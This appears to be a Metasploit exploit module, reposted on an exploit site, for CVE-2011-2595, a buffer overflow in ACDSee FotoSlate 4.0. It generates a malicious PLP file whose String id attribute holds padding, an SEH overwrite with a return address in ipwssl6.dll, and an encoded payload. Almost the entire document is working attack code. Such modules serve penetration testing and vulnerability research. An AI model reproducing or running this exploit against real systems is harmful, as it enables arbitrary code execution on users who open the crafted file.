ACDSee FotoSlate PLP File id Parameter Overflow

##
# $Id: acdsee_fotoslate_string.rb 13853 2011-10-10 16:47:33Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Remote::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ACDSee FotoSlate PLP File id Parameter Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via
                a specially crafted id parameter in a String element.  When viewing a malicious
                PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a
                buffer and execute arbitrary code. This exploit has been tested on systems such as
                Windows XP SP3, Windows Vista, and Windows 7.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Parvez Anwar', # Vulnerability discovery
                    'juan vazquez'  # Metasploit module
                ],
            'Version'        => '$Revision: 13853 $',
            'References'     =>
                [
                    [ 'CVE', '2011-2595' ],
                    [ 'OSVDB', '75425' ],
                    [ 'BID', '49558' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true'
                },
            'Payload'        =>
                {
                    #'Space'    => 4000,
                    'BadChars' => "\x00\x22"
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [
                        'ACDSee FotoSlate 4.0 Build 146',
                        {
                            'Ret'         => 0x263a5b57, # pop, pop, ret from ipwssl6.dll
                            'Offset'      => 1812,
                            'TotalLength' => 5000
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Sep 12 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.plp']),
            ], self.class)
    end
 
    def exploit
 
        overflow = rand_text(target["Offset"])
        overflow << generate_seh_record(target.ret)
        overflow << payload.encoded
        overflow << rand_text_alpha(target["TotalLength"] - overflow.length)
 
        plp =<<TEMPLATE
<?xml version="1.0" encoding="ISO-8859-1"?>
<ACDFotoSlateDocument15>
<PageDefinition>
<Template>
<Version>3.0</Version>
<Page>
<Name>Letter</Name>
<Properties>
<String id="#{overflow}"></String>
<String id="Width">8.500000IN</String>
<String id="Height">11.000000IN</String>
<String id="Orientation">Portrait</String>
<Bool id="AutoRotate">FALSE</Bool>
<Bool id="AutoFill">FALSE</Bool>
</Properties>
<Content>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGImageType">0</Int>
<String id="BGImageFile"></String>
<Int id="BGColor">16777215</Int>
</Content>
</Page>
<ToolList>
<Group>
<Tool>
<Name>Image</Name>
<Properties>
<String id="XPos">0.500000IN</String>
<String id="YPos">0.500000IN</String>
<String id="Width">7.500000IN</String>
<String id="Height">10.000000IN</String>
<Float id="Tilt">0.000000</Float>
</Properties>
<Content>
<Int id="ShapeType">0</Int>
<Float id="RoundRectX">0.000000</Float>
<Float id="RoundRectY">0.000000</Float>
<Bool id="ShrinkToFit">FALSE</Bool>
<Bool id="AutoRotate">FALSE</Bool>
<Float id="BorderWidth">0.000000</Float>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGColor">8454143</Int>
<Bool id="DropShadow">FALSE</Bool>
<Int id="DSColor">0</Int>
<Bool id="BevelEdge">FALSE</Bool>
<Bool id="Border">FALSE</Bool>
<Int id="BorderColor">16711680</Int>
<Bool id="IsLocked">FALSE</Bool>
</Content>
</Tool>
</Group>
</ToolList>
</Template>
<PageContent>
<Version>3.0</Version>
<Page>
<Name>Letter</Name>
<Content>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGImageType">0</Int>
<String id="BGImageFile"></String>
<Int id="BGColor">16777215</Int>
</Content>
</Page>
<ToolList>
<Group>
<Tool>
<Name>Image</Name>
<Content>
<Int id="ShapeType">0</Int>
<Float id="RoundRectX">0.000000</Float>
<Float id="RoundRectY">0.000000</Float>
<Bool id="ShrinkToFit">FALSE</Bool>
<Bool id="AutoRotate">FALSE</Bool>
<Float id="BorderWidth">0.000000</Float>
<Bool id="UseBGColor">FALSE</Bool>
<Int id="BGColor">8454143</Int>
<Bool id="DropShadow">FALSE</Bool>
<Int id="DSColor">0</Int>
<Bool id="BevelEdge">FALSE</Bool>
<Bool id="Border">FALSE</Bool>
<Int id="BorderColor">16711680</Int>
<Bool id="IsLocked">FALSE</Bool>
</Content>
</Tool>
</Group>
</ToolList>
</PageContent>
</PageDefinition>
</ACDFotoSlateDocument15>
TEMPLATE
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(plp)
    end
 
end
 
 
=begin
After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid
using a long buffer in order to avoid the meterpreter possibly being broken.
=end



#  0day.today [2018-02-17]  #